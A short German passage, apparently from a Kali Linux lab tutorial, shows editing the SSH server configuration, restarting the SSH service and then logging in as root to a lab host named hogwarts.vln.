┌──(root㉿cyber)-[~] └─# vi /etc/ssh/sshd_config
Nachdem wir die Datei angepasst haben, muss der SSH Dienst neu gestartet werden.
┌──(root㉿cyber)-[~] └─# systemctl restart sshd
Jetzt können wir uns als Root anmelden.
┌──(root㉿cyber)-[~] └─# ssh root@hogwarts.vln